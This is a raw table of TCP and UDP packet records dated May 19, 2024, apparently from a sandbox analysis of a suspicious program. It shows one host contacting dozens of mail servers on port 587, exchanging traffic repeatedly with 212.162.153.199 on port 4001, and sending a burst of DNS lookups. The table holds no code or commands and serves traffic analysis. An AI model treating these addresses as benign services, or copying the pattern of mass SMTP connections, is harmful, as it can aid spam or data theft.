May 19, 2024 17:28:05.161685944 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:05.166611910 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:28:05.166630030 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:28:05.166794062 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:28:05.224966049 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:28:05.259293079 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:05.269012928 CEST	587	50106	104.22.65.144	192.168.2.4
May 19, 2024 17:28:05.269094944 CEST	50106	587	192.168.2.4	104.22.65.144
May 19, 2024 17:28:05.271049976 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:28:05.273802996 CEST	587	50107	194.153.145.104	192.168.2.4
May 19, 2024 17:28:05.273897886 CEST	50107	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:05.302285910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:05.376600027 CEST	587	50108	104.22.65.144	192.168.2.4
May 19, 2024 17:28:05.376682997 CEST	50108	587	192.168.2.4	104.22.65.144
May 19, 2024 17:28:05.381550074 CEST	587	50109	194.153.145.104	192.168.2.4
May 19, 2024 17:28:05.381622076 CEST	50109	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:05.399996996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:05.443020105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:05.445092916 CEST	587	50169	120.50.131.112	192.168.2.4
May 19, 2024 17:28:05.445168018 CEST	50169	587	192.168.2.4	120.50.131.112
May 19, 2024 17:28:05.497731924 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:28:05.539031982 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:28:05.543970108 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:05.552627087 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:28:05.562783003 CEST	587	50192	142.93.237.125	192.168.2.4
May 19, 2024 17:28:05.562928915 CEST	50192	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:05.583599091 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:28:05.596431971 CEST	587	50188	120.50.131.112	192.168.2.4
May 19, 2024 17:28:05.596733093 CEST	50188	587	192.168.2.4	120.50.131.112
May 19, 2024 17:28:05.599169970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:05.676518917 CEST	587	50111	3.125.131.179	192.168.2.4
May 19, 2024 17:28:05.676749945 CEST	50111	587	192.168.2.4	3.125.131.179
May 19, 2024 17:28:05.682113886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:05.724184990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:05.728972912 CEST	587	50112	52.223.34.187	192.168.2.4
May 19, 2024 17:28:05.729034901 CEST	50112	587	192.168.2.4	52.223.34.187
May 19, 2024 17:28:05.820816994 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:28:05.820883036 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:28:05.825567961 CEST	587	50113	188.114.96.3	192.168.2.4
May 19, 2024 17:28:05.825640917 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:05.825679064 CEST	50113	587	192.168.2.4	188.114.96.3
May 19, 2024 17:28:05.880429983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:05.928122044 CEST	587	50174	194.152.32.10	192.168.2.4
May 19, 2024 17:28:05.972945929 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:05.974153996 CEST	50174	587	192.168.2.4	194.152.32.10
May 19, 2024 17:28:06.021069050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:06.110765934 CEST	587	49849	107.180.41.245	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 19, 2024 17:26:01.694060087 CEST	52299	53	192.168.2.4	1.1.1.1
May 19, 2024 17:26:01.727019072 CEST	53	52299	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.111994982 CEST	55831	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.150046110 CEST	53	55831	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.268157959 CEST	65157	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.268452883 CEST	52140	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.269393921 CEST	61727	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.270039082 CEST	55820	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.270267010 CEST	55069	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.271251917 CEST	56118	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.302479029 CEST	53	65157	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.313477993 CEST	53	61727	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.318413019 CEST	53	55820	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.323168039 CEST	53	52140	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.401196003 CEST	53	56118	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.406687021 CEST	60225	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.409575939 CEST	59070	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.501322985 CEST	53	60225	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.534279108 CEST	53638	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.535722971 CEST	58056	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.537578106 CEST	59914	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.590429068 CEST	53	58056	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.691379070 CEST	53	53638	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.691431999 CEST	53	59070	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.784852028 CEST	52396	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.786073923 CEST	49491	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.786221981 CEST	56133	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.795514107 CEST	53	52396	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.803209066 CEST	53	49491	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.807992935 CEST	53	56133	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.886825085 CEST	52387	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.887345076 CEST	52225	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:37.924712896 CEST	53	52387	1.1.1.1	192.168.2.4
May 19, 2024 17:27:37.929601908 CEST	53	59914	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.024722099 CEST	57899	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.025151968 CEST	51130	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.026163101 CEST	56053	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.058993101 CEST	53	57899	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.072387934 CEST	53	56053	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.133785963 CEST	53	51130	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.141372919 CEST	57493	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.141578913 CEST	52733	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.141697884 CEST	55267	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.142930984 CEST	57979	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.237514973 CEST	53	55267	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.237596035 CEST	53	57493	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.292993069 CEST	53	52733	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.293030024 CEST	53	52225	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.295470953 CEST	63325	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.298615932 CEST	51662	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.298616886 CEST	58260	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.299869061 CEST	64895	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.349178076 CEST	53	63325	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.349205017 CEST	53	51662	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.349234104 CEST	53	64895	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.357352018 CEST	53	57979	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.429004908 CEST	53	58260	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.433461905 CEST	51451	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.435312986 CEST	63091	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.437421083 CEST	51920	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.438632965 CEST	63824	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.439575911 CEST	51093	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.480422020 CEST	63545	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.480941057 CEST	55233	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.481693983 CEST	65437	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.482637882 CEST	64039	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.492515087 CEST	53	51451	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.498420000 CEST	53	64039	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.498450041 CEST	53	51920	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.518501043 CEST	53	55233	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.587810993 CEST	52521	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.588813066 CEST	58318	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.605178118 CEST	53	63545	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.620249987 CEST	53	52521	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.644560099 CEST	53	63091	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.659794092 CEST	53	58318	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.719885111 CEST	51052	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.721034050 CEST	57858	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.722192049 CEST	54839	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.723272085 CEST	56847	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.723893881 CEST	64511	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.744657993 CEST	53	63824	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.764775038 CEST	53	54839	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.769526958 CEST	53	64511	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.779038906 CEST	53	57858	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.788925886 CEST	53	51093	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.843769073 CEST	60884	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.844805002 CEST	50875	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.877476931 CEST	50464	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.878436089 CEST	60998	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.879492044 CEST	49696	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.880913019 CEST	51438	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.881536007 CEST	56822	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.882900953 CEST	59912	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.885062933 CEST	53	60884	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.928293943 CEST	53	51438	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.938724041 CEST	53	50875	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.949531078 CEST	53	49696	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.976007938 CEST	58857	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.976795912 CEST	51838	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.978194952 CEST	62431	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.979038000 CEST	61320	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.979856014 CEST	59685	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:38.988301992 CEST	53	56847	1.1.1.1	192.168.2.4
May 19, 2024 17:27:38.997991085 CEST	53	51838	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.003465891 CEST	53	59685	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.003494024 CEST	53	61320	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.008197069 CEST	53	62431	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.017777920 CEST	53	56822	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.031996012 CEST	53	60998	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.080173969 CEST	59600	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.081417084 CEST	60066	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.084605932 CEST	53	58857	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.098993063 CEST	53	59600	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.099023104 CEST	53	65437	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.108475924 CEST	53	50464	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.113816977 CEST	53	51052	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.198551893 CEST	53	60066	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.200375080 CEST	50223	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.292527914 CEST	56182	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.292654037 CEST	56309	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.293884039 CEST	56649	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.294131041 CEST	59693	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.294847965 CEST	50414	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.295269966 CEST	56488	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.295623064 CEST	52048	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.309118032 CEST	53	56488	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.324279070 CEST	53	56649	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.334197044 CEST	53	52048	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.345339060 CEST	53	56309	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.388926983 CEST	65339	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.389049053 CEST	52027	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.389235020 CEST	50648	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.390546083 CEST	51901	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.394344091 CEST	53	56182	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.409923077 CEST	53	50648	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.469156027 CEST	53	52027	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.469168901 CEST	53	59693	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.485025883 CEST	53	50223	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.504513979 CEST	53	59912	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.510771036 CEST	55377	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.511862040 CEST	63790	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.512464046 CEST	57125	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.514107943 CEST	53775	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.533261061 CEST	53	57125	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.586461067 CEST	53	51901	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.586474895 CEST	53	53775	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.596755981 CEST	49690	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.598810911 CEST	52598	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.603604078 CEST	59059	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.605382919 CEST	53080	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.685169935 CEST	53	59059	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.736769915 CEST	53	50414	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.738553047 CEST	64689	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.760584116 CEST	53	64689	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.771339893 CEST	53	55377	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.776118994 CEST	53	63790	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.804143906 CEST	63321	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.804728031 CEST	51920	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.805448055 CEST	51315	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.847439051 CEST	53	51315	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.856940031 CEST	53	52598	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.904757977 CEST	53	53080	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.914252996 CEST	53	63321	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.928232908 CEST	50219	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.929138899 CEST	55335	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.929830074 CEST	56691	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:39.943205118 CEST	53	55335	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.950280905 CEST	53	49690	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.955008030 CEST	53	56691	1.1.1.1	192.168.2.4
May 19, 2024 17:27:39.988213062 CEST	53	50219	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.007472038 CEST	65415	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.008857012 CEST	55110	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.010762930 CEST	64018	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.011673927 CEST	61197	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.012140989 CEST	60397	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.012504101 CEST	56390	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.028877974 CEST	53	56390	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.069041967 CEST	53	65415	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.092286110 CEST	61916	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.092510939 CEST	62104	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.100418091 CEST	53	55110	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.118172884 CEST	53	51920	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.132810116 CEST	53	61916	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.230544090 CEST	58417	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.231596947 CEST	64393	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.234097958 CEST	53	60397	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.276313066 CEST	53	64393	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.276321888 CEST	53	58417	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.276340008 CEST	53	64018	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.276349068 CEST	53	62104	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.288424969 CEST	61770	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.290256023 CEST	51353	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.291399956 CEST	59339	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.291589975 CEST	59397	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.302156925 CEST	53	59339	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.307360888 CEST	53	59397	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.327102900 CEST	53	51353	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.381441116 CEST	65339	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.385924101 CEST	49830	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.386795044 CEST	53883	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.387712955 CEST	61626	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.388475895 CEST	62004	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.388667107 CEST	58788	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.388906956 CEST	57187	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.401166916 CEST	53	49830	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.420721054 CEST	53	62004	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.516714096 CEST	60330	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.517393112 CEST	55930	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.517692089 CEST	55116	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.517692089 CEST	62226	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.517993927 CEST	59649	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.524848938 CEST	53	61626	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.545376062 CEST	53	60330	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.554928064 CEST	53	62226	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.559830904 CEST	53	61770	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.564565897 CEST	53	55116	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.564574957 CEST	53	61197	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.564582109 CEST	53	59649	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.587856054 CEST	53	65339	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.592689991 CEST	53	65339	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.629206896 CEST	61811	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.647078991 CEST	53	58788	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.711587906 CEST	53	61811	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.735636950 CEST	53	55930	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.738334894 CEST	50600	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.738826036 CEST	61469	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.739048958 CEST	52440	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.739259005 CEST	64508	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.739454985 CEST	61345	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.758019924 CEST	53	52440	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.758038044 CEST	53	64508	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.762849092 CEST	53	61345	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.794400930 CEST	53	53883	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.799305916 CEST	53	50600	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.812716007 CEST	51256	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.813611031 CEST	62100	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.914586067 CEST	60133	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.914963007 CEST	56123	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.915204048 CEST	64819	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.916081905 CEST	52625	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:40.919445038 CEST	53	51256	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.939827919 CEST	53	56123	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.994801998 CEST	53	52625	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.994815111 CEST	53	60133	1.1.1.1	192.168.2.4
May 19, 2024 17:27:40.999922037 CEST	53	64819	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.057712078 CEST	63321	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.058089018 CEST	54222	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.058711052 CEST	53050	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.058868885 CEST	51062	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.059145927 CEST	49385	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.119987011 CEST	53	49385	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.129479885 CEST	53	51062	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.134222031 CEST	53	62100	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.182521105 CEST	53	63321	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.184784889 CEST	58074	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.185025930 CEST	58908	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.185250998 CEST	56391	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.185702085 CEST	51994	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.185956955 CEST	52057	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.186707973 CEST	53340	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.202951908 CEST	53	51994	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.207679987 CEST	53	56391	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.235213995 CEST	53	58908	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.241591930 CEST	53	53340	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.272418022 CEST	51543	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.272887945 CEST	62541	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.273325920 CEST	61652	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.273910999 CEST	56613	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.280225992 CEST	53	54222	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.289866924 CEST	53	62541	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.289876938 CEST	53	61652	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.304202080 CEST	53	56613	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.355995893 CEST	53	61469	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.363106012 CEST	58539	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.363332033 CEST	57356	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.396325111 CEST	53	57356	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.396333933 CEST	53	57187	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.396595955 CEST	57187	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.402158976 CEST	53	58539	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.402689934 CEST	53	53050	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.406986952 CEST	53	58074	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.411837101 CEST	53	57187	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.479897976 CEST	64207	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.480154037 CEST	64517	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.480370998 CEST	53187	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.480597973 CEST	62296	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.480671883 CEST	51688	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.480799913 CEST	49233	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.485006094 CEST	53	51543	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.504981995 CEST	53	51688	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.510360956 CEST	53	62296	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.516427040 CEST	53	64517	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.557151079 CEST	53	52057	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.594147921 CEST	62371	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.594321966 CEST	58361	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.594388008 CEST	55089	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.594584942 CEST	64468	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.623405933 CEST	53	55089	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.623512030 CEST	53	62371	1.1.1.1	192.168.2.4
